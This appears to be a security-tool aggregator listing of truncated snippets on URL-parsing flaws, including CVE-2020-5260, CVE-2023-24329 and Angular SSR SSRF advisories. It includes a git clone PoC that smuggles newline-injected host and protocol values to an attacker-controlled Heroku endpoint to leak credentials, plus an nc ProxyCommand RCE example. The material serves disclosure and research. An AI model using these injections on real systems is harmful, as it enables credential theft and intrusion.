CVE-2020-5260

CVE-2020-5260 CVE-2020-5260 Demonstration Record When git executes a command like "git clone https://example.com", it requests the protocol "https" to store credentials for the host "example.com", and when the remote side requests authentication, it appends the returned credentials to the outgoin...

poc-proxycommand-vulnerable

RCE via insecure /.ssh/config Use of tokens like %h, %p in ProxyCommand is quite popular to use tunnels and connection proxying using SSH. Vulnerable config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Note: in my initial assessment I was under the...

bypass-url-parser

Bypass Url Parser Tool that tests MANY url bypasses to reach a 40X protected page. If you wonder why this code is nothing but a dirty curl wrapper, here's why: Most of the python requests do url/path/parameter encoding/decoding, and I hate this. If I submit raw chars, I want raw chars to be sent...

Airachnid-Burp-Extension

Web Cache Deception Burp Extension A Burp extension to test applications for vulnerability to the Web Cache Deception attack. Once the extension has been loaded, it can be accessed in the Target - Sitemap tab and right click on the resource that should be tested. A context sensitive menu item...

Zeus-Scanner

Annuaire des liens utiles Qu'estce que Zeus Les caractéristiques de Zeus Exigences et installation Ubuntu/Debian centOS autre Capturesécran vidéo Demo manuel d'utilisation Comment fonctionne Zeus Fonctionnalité Passant drapeaux sqlmap avec Zeus Informations légales Licence GPL Code de conduite...

CVE-2024-30043-XXE

CVE-2024-30043-XXE 致谢 目前该漏洞的影响范围有限，但感谢 https://x.com/chudyPB 提供了一个巧妙的绕过思路。 https://x.com/chudyPB https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud https://x.com/chudyPB/status/1797707100421751007 使用方法 修改以下内容...

CVE-2024-22243

CVE-2024-22243 Author: Sean Pesce This project contains an example web application that demonstrates exploitable scenarios for CVE-2024-22243, a URL-parsing vulnerability in the Java Spring Framework official disclosure here. Vulnerability Affected versions of Spring parse the "userinfo" segment ...

cve-2020-5260

cve-2020-5260 一个针对 cve-2020-5260 的 HTTP PoC 端点，可部署到 Heroku 致谢信息 Google Project Zero 的 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 触发漏洞 root@kitploit: git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' 将 PoC 部署到 Heroku...

Security Bulletin: IBM Virtualization Engine TS7700 is susceptible to multiple vulnerabilities in Python.

Summary IBM Virtualization Engine TS7700 is susceptible to two Tampering conditions and one potential Elevation of Privilege issue due to the use of Python CVE-2025-0938, CVE-2025-47273, CVE-2025-1795. TS7700 uses Python to perform operations with the Cloud and internal system configuration tasks...

bypass-url-parser

Bypass Url Parser 该工具测试多种URL绕过技术，以访问40X保护的页面。 如果你好奇为什么这段代码只不过是一个简陋的curl封装，原因如下： 大多数Python请求库会对URL/路径/参数进行编码/解码，而我讨厌这一点。 如果我提交原始字符，我就要发送原始字符。 如果我发送一个奇怪的路径，我就想要它保持奇怪，而不是被标准化。 在Python中，要在不丢失库的所有好处（如解析、SSL/TLS封装等）的情况下实现这一点，出乎意料地困难。 所以，像我一样，使用curl作为后端，这就行了。 此外，该工具也可以作为库使用，参见libsampleusage.py 安装...

unfurl

unfurl 提取 stdin 提供的 URL 的各个部分 安装 如果你已经安装并配置好 Go： root@kitploit: ▶ go install github.com/tomnomnom/unfurl@latest 否则，下载适用于你平台的最新二进制文件，解压后将其移动到 $PATH 中的某个位置（例如 /usr/bin/）： root@kitploit: ▶ wget https://github.com/tomnomnom/unfurl/releases/download/v0.0.1/unfurl-linux-amd64-0.0.1.tgz ▶ tar xzf...

CVE-2023-24329-PoC

CVE-2023-24329-PoC 关于CVE-2023-24329的简短信息性PoC：Python urllib解析缺陷。 root@kitploit: git clone https://github.com/H4R335HR/CVE-2023-24329-PoC cd CVE-2023-24329-PoC python3 CVE-2023-24329-PoC.py 基于Yebo Cao的研究 - https://pointernull.com/security/python-url-parse-problem.html...

CVE-2023-41080

vulnerable: http://localhost:8081//secret.html;@example.com Redirect to arbitrary web site in this case, https://example.com. patched: http://localhost:8082//secret.html;@example.com ref: https://github.com/advisories/GHSA-q3mw-pvr8-9ggc...

CVE-2026-88056 Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClien...

CVE-2026-88056

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClien...

tryhackme-monikerlink-writeup

TryHackMe: Moniker Link — CVE-2024-21413 Walkthrough A full walkthrough of TryHackMe's "Moniker Link" room: weaponizing CVE-2024-21413, a 2024 Microsoft Outlook vulnerability, to steal a victim's NTLMv2 hash the moment they click a link in a phishing email — no macro, no attachment, no obvious...

CVE-2023-24329-Exploit

Introducción Las funciones de análisis de URL se centran en dividir una cadena de URL en sus componentes, o en combinar componentes de URL en una cadena de URL. urllib.parse.urlparse Simplemente urllib.parse se usa para analizar URLs, podemos omitirlo agregando espacios en blanco antes de la URL...

PT-2026-89690

Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery SSRF, potentially leaking sensitive server-side credentials. Technical Description When applications validate incoming URLs using t...

UBUNTU-CVE-2026-84394

fast-uri accepts a host that contains an unbalanced or misplaced authority bracket without reporting an error. A host that starts with an opening bracket but does not end with a closing bracket is neither validated as an IP literal nor canonicalized as a domain name, so parse returns it as the ho...

CVE-2026-84394

fast-uri accepts a host that contains an unbalanced or misplaced authority bracket without reporting an error. A host that starts with an opening bracket but does not end with a closing bracket is neither validated as an IP literal nor canonicalized as a domain name, so parse returns it as the ho...